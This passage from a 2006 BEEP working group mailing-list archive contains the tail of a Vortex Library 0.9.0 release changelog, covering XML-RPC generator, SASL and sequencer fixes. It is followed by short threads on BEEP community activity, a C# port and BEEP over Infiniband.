  complete. Body definition partially defined.

* [fix] updating C array module support for the C stub generated by
  the xml-rpc-gen tool to create the marshaler, the unmarshaller and
  the creation support function.

* [fix] completed initial version for the array module generation
  (XML-RPC interface).  Now xml-rpc-gen tool creates an interface for
  every array definition which includes marshalers, deallocation
  functions, and operational functions.

* [fix] fixing all compilation errors found for the array interface
  generated for the initial tests.

* [fix] fixing a not proper SEQ frame generation while receiving a
  message with only one byte of content.

* [fix] updating main web-page to include a reference at the main page
  for commercial services around Vortex Library.

* [fix] more updates to the XML-RPC implementation to support complex
  structures.  API added:
   
    - vortex_xml_rpc_method_value_nullify
    - vortex_xml_rpc_method_call_get_param_value_as_struct
    - vortex_xml_rpc_method_call_get_param_value_as_array
    - vortex_xml_rpc_types_marshall_struct

* [fix] re-written method value marshalling to support recurvise
  definitions. API added:
   
    - vortex_xml_rpc_marshall_method_value

* [fix] added more API to manage XmlRpcStruct and its native
  representation for the up coming xml-rpc-gen compiler. API added:
 
    - vortex_xml_rpc_struct_get_member_count 
    - vortex_xml_rpc_struct_check_member_names
    - vortex_xml_rpc_struct_check_member_types
    
* [fix] adding more method values to allow user space to provide
  already allocated strings, avoiding double allocations. API added:

    - XML_RPC_STRING_REF_VALUE (enum value)
   
* [fix] adding support to the xml-rpc-gen tool to create support
  modules for struct and arrays, making it more usable that the low
  level representation XmlRpcStruct and XmlRpcArray.

* [fix] adding a set of test to check xml-rpc-gen generated
  source. Tests added:

    - reg-test01
    - reg-test02
    - reg-test03
    - reg-test04
    - reg-test05

* [fix] really huge update for server side support to struct parameters
  and struct as service result.

* [fix] fixing a not proper handling for the vortex sequencer loop
  which, under some circumstances, was queueing twice times the same
  vortex sequencer packet.

* [fix] fixing a not proper checking placed to avoid vortex channel
  module to produce a SEQ frame for a channel that is being
  closed. Because the problem to avoid is to not reply for the close
  configuration message (<ok />) with a SEQ frame, the check have been
  updated to be more accurate.

* [fix] making vortex_init function to add one more path to lookup for
  data files (../data) to make it work for source code distributed as
  tgz bundle.

* [new] adding support to the xml-rpc-gen tool for the IDL structured
  format. Now the tools support a xml based representation (the native
  one) and a structure format that is more similar to common IDL
  syntax. This commit supports the server definition with services
  that only uses basic types.

* [fix] Making SASL module, at the server side, to store auth
  properties used for the authentication process, allowing to make
  vortex_sasl_get_propertie to work.

* [new] Adding a new function to the SASL auth module to enable user
  application, at the client and server side, to get the auth method
  used for a successful authentication:
  
    - vortex_sasl_auth_method_used

* [fix] Updating vortex-sasl-listener.c test to show how to use the
  API to properly check the auth state.

* [fix] fixing vortex_listener_wait documentation.

* [new] Adding a new API to allow getting notification about new
  connections accepted.  API added:

    - vortex_connection_set_on_connection_accepted (function)
    - VortexOnAcceptedConnection (handler).

* [fix] Updating vortex-simple-listener to include an example about
  using vortex_connection_set_on_connection_accepted.

* [fix] Adding more documentation to vortex_init function explaining
  how to reactivate the glib log handling.

* [fix] fixing a seg fault while compiling an XML-RPC interface
  definition that returns an string.

* [new] Extending on close connection notification API for a function
  signature that also receives a user defined pointer. API added:

    - vortex_connection_set_on_close_full (function)
    - VortexConnectionOnCloseFull (handler)

* [fix] making vortex_init to use the default GLib log handling if
  detected that the log source domain is not vortex and the log is
  deactivated.

* [new] replacing all calls to g_log with vortex_log. Added support to
  compilation process to remove/disable all calls to perform a console
  log. Updated configure.ac and Makefile.am inside src/ directory.

* [new] added support to xml-rpc-gen tool to be able to parse C
  comments (/* .. */) and C++ comments (//..) inside IDL definitions.

* [new] added initial support to xml-rpc-gen to define structures
  inside the IDL definition format.

* [fix] fixed a but while producing a service that don't receive any
  parameter.  In was causing to segfault the xml-rpc-gen tool.

* [new] adding all tests for the XML-RPC protocol (reg-test01.idl up
  to reg-test05.idl) implementing the same example as the ones using
  the XDL format, but using the IDL language format.

* [fix] making vortex_frame_readline to check vortex_connection_ok to
  avoid dropping messages if the connection have been detected to be
  closed.

* [fix] making vortex_reader loop to check for "Interrupted system
  call" (EINTR) if the waiting call is blocked. (Wrong checking
  order).

* [fix] adding .def definition file (export symbols for windows) and
  modifying Makefile.am to generate this file.

* [fix] fixing a double-unrefering problem at the vortex sequencer
  module. Under heavy load, the vortex sequencer unref many times the
  same connection, while resequencing messages.

* [fix] making vortex-client tool to drop a frame received message
  with timing information.

* [new] API patch [318] providing an extended API to SASL
  authentication functions. Now they can receive an user defined
  pointer. Thanks goes to Milton Yates. API added:

  - VortexSaslAuthExternalFull (handler)
  - VortexSaslAuthAnonymous (handler)
  - VortexSaslAuthAnonymousFull (handler)
  - VortexSaslAuthPlainFull (handler)
  - VortexSaslAuthCramMd5Full (handler)
  - VortexSaslAuthDigestMd5Full (handler)

  - vortex_sasl_set_external_validation_full
  - vortex_sasl_set_anonymous_validation_full
  - vortex_sasl_set_plain_validation_full
  - vortex_sasl_set_cram_md5_validation_full
  - vortex_sasl_set_digest_md5_validation_full
  - vortex_sasl_accept_negociation_full

* [new] Updated SASL documentation to explain the new API, updated
  examples and reference to both functions. Updates
  vortex-sasl-listener.c example to use both APIs.

* [fix] making SASL EXTERNAL mechanism to properly work. It was
  defined all stuf but the validation handler wasn't
  called. Implemented change using both validation handlers extended
  and previous.

* [fix] adding a function to perform a check prior launching SASL
  authentication mechanism, avoiding passing required values for a
  SASL mechanism as a NULL value.

* [new] updated the vortex-client tool to activate the SASL external
  mechanism by asking for the authorization id to be sent. Updated
  vortex-sasl-listener to include both validation handlers for SASL
  EXTERNAL profile.

* [fix] making vortex sequencer to not sequence new received packages
  if there are pending ones to be sequenced for the same channel.

* [new] adding new API to allow configuring startup listener
  information, at this moment host and port, to the listener API:

   - vortex_listener_parse_conf_and_start

* [fix] making vortex xml rpc module to reuse previous definition to
  implement vortex_xml_rpc_listener_parse_conf_and_start_listeners.

* [fix] making __vortex_connection_new to close the socket and flag it
  as -1 once an error is detected (it wasn't done in all cases).

* [new] adding a new API to get current reference count for a provided
  connection.  API added:
  
  - vortex_connection_ref_count

* [fix] making vortex_connection_set_on_close and
  vortex_connection_set_on_close_full to support configuring several
  handlers to be executed once the connection is closed. Adding new
  API:

  - vortex_connection_remove_on_close_full

* [fix] Added new API to allow vortex sequencer to get information
  about current pending messages status:

  - vortex_channel_is_empty_pending_message
  
* [fix] changing DTD file definition xml-rpc-listener-conf.dtd to
  vortex-listener-conf.dtd and updating its content to be usable for
  general purpose listeners.

* [fix] fixing some warnings at vortex-connection and vortex-listener
  module due to type definitions.

* [fix] updating reg-test06.xdl file definition to properly represent
  an example that uses an array definition that holds a struct def.

* [fix] fixing many bugs in xml-rpc-gen tool related to creating a
  struct with string members.

* [fix] updated xml-rpc-gen tool to create conf.xml files using the
  new format proposed by the library
  (<vortex-listener>..</vortex-listener>).

* [new] adding two new options to enable controlling which is the
  expected format to be processed: --idl-format and --xdl-format.

* [fix] re-writed vortex_reader_join_frames to use an new function
  that reuse the memory allocated for the payload and other values,
  for the first frame received to be join.

* [fix] rewrited vortex_connection_default_send and
  vortex_connection_default_recieve to use the connection socket
  directly avoiding calling to vortex_connection_get_socket.

* [fix] making vortex_log_is_enabled, vortex_log_enable,
  vortex_color_log_is_enabled and vortex_color_log_enable to not
  implement anything and return FALSE values if vortex log is not
  activated.

* [fix] re-written vortex_frame_build_up_from_params_s to use some
  memory segments instated of allocating them twice and reusing strlen
  information provided by this functions. Saved one call to memcpy and
  g_free.

* [fix] re implemented vortex_frame_get_next to not use sscanf and use
  an specific function to get BEEP frame header values:
  vortex_frame_get_header_data.

* [fix] vortex reader removed unnecessary calls to
  vortex_connection_get_channel and vortex_channel_get_connection at
  the vortex reader loop.

* [fix] removing unnecessary calls to memset function at the vortex
  frame module (vortex_frame_readline and
  vortex_frame_readn). Replaced calls to g_strcasecmp* with
  axl_stream_cmp. Replaced calls to g_strdup_printf with
  axl_stream_strdup_printf.

* [fix] removing a wrong log line placed at the vortex_frame_factory
  code.

* [fix] making vortex profiles frame receive handler to check the
  channel reference received inside the critical section created by
  vortex_connection_ref/unref.  Avoids a race condition between
  checking connection status, and getting the channel reference.

* [fix] fixing a race condition inside vortex_connection_ref/unref and
  vortex_connection_free which was causing to deallocate a mutex while
  other threads could get into looking it during the deallocation.

* [fix] fixing vortex documentation (how a vortex client
  works). Example wasn't compiling.

* [fix] moving reference counting increase inside the vortex profiles
  and vortex channel frame receive invocation code to avoid race
  conditions while performing unreference operations. This will allow
  to perform the reference code at the vortex reader linear loop,
  ensuring that the connection is not deallocated until the frame
  receive deliver process is finished.

* [fix] adding/fixing support for XmlRpcArray, to be properly
  marshalled and unmarshalled when it is used as parameter or as a
  result.

* [fix] making xml-rpc-gen tool to properly generate the destroy
  function associated to an array.

* [fix] fixing support file used to close connection and vortex
  session at the xml-rpc tests.

* [fix] added an new xml-rpc test file to check array support
  (reg-test06.c and reg-test06.xdl).

* [fix] reorganized source code that was parsing xml-rpc structures
  from IDL format into XDL format at the xml-rpc-gen tool.

* [fix] added support for array declaration at the IDL format
  description.

* [fix] committing IDL representation for the reg-test06 example.

* [fix] making channel instance to be created before called the start
  handler allowing implementors to get the reference to the
  channel. This allows to use the channel to store settings without
  waiting to further handlers.

* [fix] fixed vortex_connection_is_ok: free on fail code was not
  triggered in the proper case.

* [fix] removed unnecessary calls to vortex_connection_is_ok and null
  checking from vortex_frame_get_next (already done by vortex
  reader).

* [new] added support for the none value, which clearly represents the
  undefined type while marshalling and unmarshalling NULL references
  from the wire.

* [new] started xml-rpc manual for the new tool: xml-rpc-gen.

* [fix] adding missing test file (reg-test07.c)

* [fix] Adding instructions to Makefile.win to create a libvortex.lib
   file (VS import library file).

* [fix] terminated NONE value support for the XML-RPC implementation
  allowing to have null values inside an struct (or array).

* [fix] making vortex_channel to not flag the connection to be not
  connected on a failure detected because it produces a dead-lock with
  vortex_connection_close function (which already locked
  connection->op_mutex). Even more, this call is not necessary.

* [fix] terminated support to struct type recursion inside IDL and XDL
  format support (added reg-test07.idl and reg-test07.xdl). Added lot
  of documentation to the xml-rpc-gen language supported.

* [fix] adding more documentation preparing Vortex Library release.

* [new] finished initial version for the xml-rpc manual including
  instructions on how to use the xml-rpc-gen tool and the output
  produced.

* [fix] disabling libexarg dependency by including its source code
  inside the xml-rpc-gen tool (exarg.[ch]).

* [fix] updating configure.ac file to always compile the xml-rpc-gen
  tool.

* [fix] updating documentation, web and source code to close vortex
  release 0.9.0.
   
About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
7th Jul 2006, Madrid (Spain)
  




From griffincaprio@mac.com Mon Jul 10 13:11:25 2006
Received: from smtpout.mac.com (smtpout.mac.com [17.250.248.175])
	k6AKBPYo012872
	for <beepwg@lists.beepcore.org>; Mon, 10 Jul 2006 13:11:25 -0700
Received: from mac.com (smtpin01-en2 [10.13.10.146])id k6AKBKOk002579
	for <beepwg@lists.beepcore.org>;
	Mon, 10 Jul 2006 13:11:21 -0700 (PDT)
Received: from [192.168.0.12] (osh-nat-208-152.onshore.net [66.146.208.152])
	(authenticated bits=0)
	by mac.com (Xserve/smtpin01/MantshX 4.0) with ESMTP id k6AKBEWd011529
	for <beepwg@lists.beepcore.org>; Mon, 10 Jul 2006 13:11:19 -0700 (PDT)
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Transfer-Encoding: 7bit
Message-Id: <488F4684-017A-4C76-8CFC-3A8436B307F6@mac.com>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
To: beepwg@lists.beepcore.org
From: Griffin Caprio <griffincaprio@mac.com>
Date: Mon, 10 Jul 2006 15:10:35 -0500
X-Mailer: Apple Mail (2.752.2)
Subject: [BEEPwg] Hello all
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 10 Jul 2006 20:11:25 -0000

Hi all,

Is there anyone still monitoring this list?  Anyone still in the  
community using BEEP?

- Griffin
From francis@aspl.es Tue Jul 11 00:26:58 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k6B7Qvu8020620
	for <beepwg@lists.beepcore.org>; Tue, 11 Jul 2006 00:26:57 -0700
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1G0Cdg-0000qK-00; Tue, 11 Jul 2006 09:26:36 +0200
Subject: Re: [BEEPwg] Hello all
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Griffin Caprio <griffincaprio@mac.com>
In-Reply-To: <488F4684-017A-4C76-8CFC-3A8436B307F6@mac.com>
References: <488F4684-017A-4C76-8CFC-3A8436B307F6@mac.com>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Tue, 11 Jul 2006 09:27:10 +0200
Message-Id: <1152602830.4023.98.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.4.2.1 
X-Scanner: exiscan *1G0Cdg-0000qK-00*E.Gy.UUmf3M*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k6B7Qvu8020620
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 11 Jul 2006 07:26:58 -0000

El lun, 10-07-2006 a las 15:10 -0500, Griffin Caprio escribió:
> Hi all,
> 

Hi Griffin!

> Is there anyone still monitoring this list?  Anyone still in the  
> community using BEEP?

See BEEP toolkits [1], BEEP based products [2] and RFCs and ongoing
drafts related with BEEP [3]. 

I hope it helps,

Cheers!

[1] http://www.beepcore.org/beep-toolkits.html
[2] http://www.beepcore.org/products.html
[3] http://www.beepcore.org/doc.html


> 
> - Griffin 
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From wls@wwco.com Tue Aug 29 07:50:47 2006
Received: from mach2.wwco.com (www.wwco.com [69.64.173.218])
	k7TEokAV002755
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <beepwg@lists.beepcore.org>; Tue, 29 Aug 2006 07:50:47 -0700
Received: by mach2.wwco.com (Postfix, from userid 503)
	id 5E6F59FD8C2; Tue, 29 Aug 2006 10:50:38 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by mach2.wwco.com (Postfix) with ESMTP id 59D959FD8BB
	for <beepwg@lists.beepcore.org>; Tue, 29 Aug 2006 10:50:38 -0400 (EDT)
Date: Tue, 29 Aug 2006 10:50:38 -0400 (EDT)
From: Walt Stoneburner <wls@wwco.com>
To: beepwg@lists.beepcore.org
Message-ID: <Pine.LNX.4.64.0608291044030.12981@mach2.wwco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
Subject: [BEEPwg] Beepcore for .NET / C#
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 29 Aug 2006 14:50:47 -0000

Hello, I've been to the Beep-Tookits page looking for a C# or .NET 
implementation.

Normally I wouldn't bother the list, but I didn't see anything in the FAQ, 
and a query on Google gets a polluted result list returning domains with a 
".net" suffix talking about beep in general.

I'm working on making two applications, one written in Java, the other in 
C#, talk to teach other.

Normally I'd fall back on the ActiveX solution, but we've been instructed 
to stay away from anything ActiveX.  (My guess is that the C# may be moved 
to MONO someday.)

Since there is a strange and uncanny similarity between Java and C#, has 
anyone undertaken the effort to port the Java version over to pure C# (even 
unofficially)?

Thanks kindly,
-Walt Stoneburner

From griffincaprio@mac.com Tue Aug 29 08:23:30 2006
Received: from smtpout.mac.com (smtpout.mac.com [17.250.248.175])
	k7TFNUwA003275
	for <beepwg@lists.beepcore.org>; Tue, 29 Aug 2006 08:23:30 -0700
Received: from mac.com (smtpin04-en2 [10.13.10.149])
	id k7TFNNNG025050;	Tue, 29 Aug 2006 08:23:23 -0700 (PDT)
Received: from [192.168.0.10] (osh-nat-213-97.onshore.net [66.146.213.97])
	(authenticated bits=0)
	by mac.com (Xserve/smtpin04/MantshX 4.0) with ESMTP id k7TFNG9U013433;
	Tue, 29 Aug 2006 08:23:20 -0700 (PDT)
User-Agent: Microsoft-Entourage/11.2.5.060620
Date: Tue, 29 Aug 2006 10:21:35 -0500
Subject: Re: [BEEPwg] Beepcore for .NET / C#
From: Griffin Caprio <griffincaprio@mac.com>
To: Walt Stoneburner <wls@wwco.com>, <beepwg@lists.beepcore.org>
Message-ID: <C119C5AF.FD6%griffincaprio@mac.com>
Thread-Topic: [BEEPwg] Beepcore for .NET / C#
Thread-Index: AcbLftBwDy0r5DdyEduCIwAWy8oOTA==
In-Reply-To: <Pine.LNX.4.64.0608291044030.12981@mach2.wwco.com>
Mime-version: 1.0
Content-type: text/plain;
	charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Brightmail-Tracker: AAAAAQAAA+k=
X-Language-Identified: TRUE
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 29 Aug 2006 15:23:30 -0000

Hi Walt,

I am actually doing just that.  It's not read for prime time yet, however.
I've been very busy as of late.  However, I do still plan to release it via
sf or something in the near future.

- Griffin


On 8/29/06 9:50 AM, "Walt Stoneburner" <wls@wwco.com> wrote:

> Hello, I've been to the Beep-Tookits page looking for a C# or .NET
> implementation.
> 
> Normally I wouldn't bother the list, but I didn't see anything in the FAQ,
> and a query on Google gets a polluted result list returning domains with a
> ".net" suffix talking about beep in general.
> 
> I'm working on making two applications, one written in Java, the other in
> C#, talk to teach other.
> 
> Normally I'd fall back on the ActiveX solution, but we've been instructed
> to stay away from anything ActiveX.  (My guess is that the C# may be moved
> to MONO someday.)
> 
> Since there is a strange and uncanny similarity between Java and C#, has
> anyone undertaken the effort to port the Java version over to pure C# (even
> unofficially)?
> 
> Thanks kindly,
> -Walt Stoneburner
> 
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg


From vikasd@yahoo.com Tue Sep 26 14:49:48 2006
Received: from web31803.mail.mud.yahoo.com (web31803.mail.mud.yahoo.com
	[68.142.207.66])k8QLnlmj026401
	for <beepwg@lists.beepcore.org>; Tue, 26 Sep 2006 14:49:47 -0700
Received: (qmail 74065 invoked by uid 60001); 26 Sep 2006 21:49:28 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
	s=s1024; d=yahoo.com;
	h=Message-ID:Received:Date:From:Subject:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=W4BEl81Aorn5qnl+9+M58dwWNP3doaGJdsC51CRb8rYL3A5bPVbfhBjQydZDJ0wpMf01vkNw+Nrkhi/z3vG0V5duNbDvZua6b9vsGfUdRHCSXxBod7/6c/p63WUN0opfDhyy6GNK39OZ4XqjhCpbYIka4yrYwIooLsfbExAxCOg=
	;
Message-ID: <20060926214928.74063.qmail@web31803.mail.mud.yahoo.com>
Received: from [171.71.27.71] by web31803.mail.mud.yahoo.com via HTTP;
	Tue, 26 Sep 2006 14:49:28 PDT
Date: Tue, 26 Sep 2006 14:49:28 -0700 (PDT)
From: Vikas Deolaliker <vikasd@yahoo.com>
To: beepwg@lists.beepcore.org
MIME-Version: 1.0
Content-Type: text/plain; charset=ascii
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k8QLnlmj026401
Subject: [BEEPwg] BEEP over Infiniband
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 26 Sep 2006 21:49:48 -0000

Has anybody implemented/heard about BEEP over Infiniband? Given that IB gives a full L2/L3 fabric and BEEP everything else, we could use this combination to speed up various applications in SOA/Web2.0 space.

Love to hear the group's thoughts on this. 

Thanks

Vikas Deolaliker

From mrose@dbc.mtview.ca.us Wed Sep 27 04:55:01 2006
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	k8RBsw0B006971;	Wed, 27 Sep 2006 04:54:59 -0700
In-Reply-To: <20060926214928.74063.qmail@web31803.mail.mud.yahoo.com>
References: <20060926214928.74063.qmail@web31803.mail.mud.yahoo.com>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <CCB2120B-2DD7-4789-A14E-DE5D40391737@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] BEEP over Infiniband
Date: Wed, 27 Sep 2006 12:55:00 +0100
To: Vikas Deolaliker <vikasd@yahoo.com>
X-Mailer: Apple Mail (2.752.2)
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 27 Sep 2006 11:55:01 -0000

> Has anybody implemented/heard about BEEP over Infiniband? Given  
> that IB gives a full L2/L3 fabric and BEEP everything else, we  
> could use this combination to speed up various applications in SOA/ 
> Web2.0 space.
>
> Love to hear the group's thoughts on this.

is there a transport layer between beep and infiniband that provides  
the things that tcp provides? am i missing something?

/mtr

From vijay@saraswat.org Wed Sep 27 05:51:27 2006
Received: from smtp4.suscom.net (smtp4.suscom.net [64.78.119.249])
	k8RCpQBY007973
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <beepwg@lists.beepcore.org>; Wed, 27 Sep 2006 05:51:27 -0700
Received: from localhost (unknown [127.0.0.1])
	by smtp4.suscom.net (Postfix) with ESMTP id C629215005D;
	Wed, 27 Sep 2006 08:51:20 -0400 (EDT)
Received: from smtp4.suscom.net ([127.0.0.1])
 by localhost (smtp4.suscom.net [127.0.0.1]) (amavisd-new, port 10024)
 with LMTP id 13868-02-83; Wed, 27 Sep 2006 08:51:09 -0400 (EDT)
Received: from [127.0.0.1] (c-67-189-226-42.hsd1.ma.comcast.net
	[67.189.226.42])
	by smtp4.suscom.net (Postfix) with SMTP id 1B04C150038;
	Wed, 27 Sep 2006 08:51:09 -0400 (EDT)
Message-ID: <451A73B8.6090108@saraswat.org>
Date: Wed, 27 Sep 2006 08:51:04 -0400
From: Vijay Saraswat <vijay@saraswat.org>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] BEEP over Infiniband
References: <20060926214928.74063.qmail@web31803.mail.mud.yahoo.com>
	<CCB2120B-2DD7-4789-A14E-DE5D40391737@dbc.mtview.ca.us>
In-Reply-To: <CCB2120B-2DD7-4789-A14E-DE5D40391737@dbc.mtview.ca.us>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: amavisd-new at suscom.net
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 27 Sep 2006 12:51:28 -0000

Marshall Rose wrote:

>> Has anybody implemented/heard about BEEP over Infiniband? Given  that 
>> IB gives a full L2/L3 fabric and BEEP everything else, we  could use 
>> this combination to speed up various applications in SOA/ Web2.0 space.
>>
>> Love to hear the group's thoughts on this.
>
>
> is there a transport layer between beep and infiniband that provides  
> the things that tcp provides? am i missing something?
>
> /mtr

(I had sent this pointer to the list earlier...)

http://www.emsl.pnl.gov/docs/parsoft/armci/

(There is also GASNet from Berkeley.)

Its not TCP, but its worth looking at whether a BEEP-like protocol might 
be layered on top.

IBM also has a LAPI product (low-level API) which should be available on 
Linux as well soon.


From mrose@dbc.mtview.ca.us Wed Sep 27 06:13:19 2006
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	k8RDDGoX008454;	Wed, 27 Sep 2006 06:13:17 -0700
In-Reply-To: <451A73B8.6090108@saraswat.org>
References: <20060926214928.74063.qmail@web31803.mail.mud.yahoo.com>
	<CCB2120B-2DD7-4789-A14E-DE5D40391737@dbc.mtview.ca.us>
	<451A73B8.6090108@saraswat.org>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <44FD4B8E-BF3E-4118-AAEB-C9BE447B60FE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] BEEP over Infiniband
Date: Wed, 27 Sep 2006 14:13:17 +0100
To: Vijay Saraswat <vijay@saraswat.org>
X-Mailer: Apple Mail (2.752.2)
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
